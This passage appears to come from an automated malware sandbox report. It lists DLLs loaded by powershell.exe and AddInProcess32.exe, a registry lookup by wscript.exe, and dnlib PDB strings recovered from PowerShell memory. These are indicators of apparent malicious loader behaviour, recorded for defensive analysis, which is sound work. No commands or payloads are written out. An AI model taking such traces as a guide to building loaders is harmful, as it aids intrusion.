Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000004.00000002.2453863224.00007FFD34430000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17K source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000004.00000002.2453863224.00007FFD34430000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.pdb source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
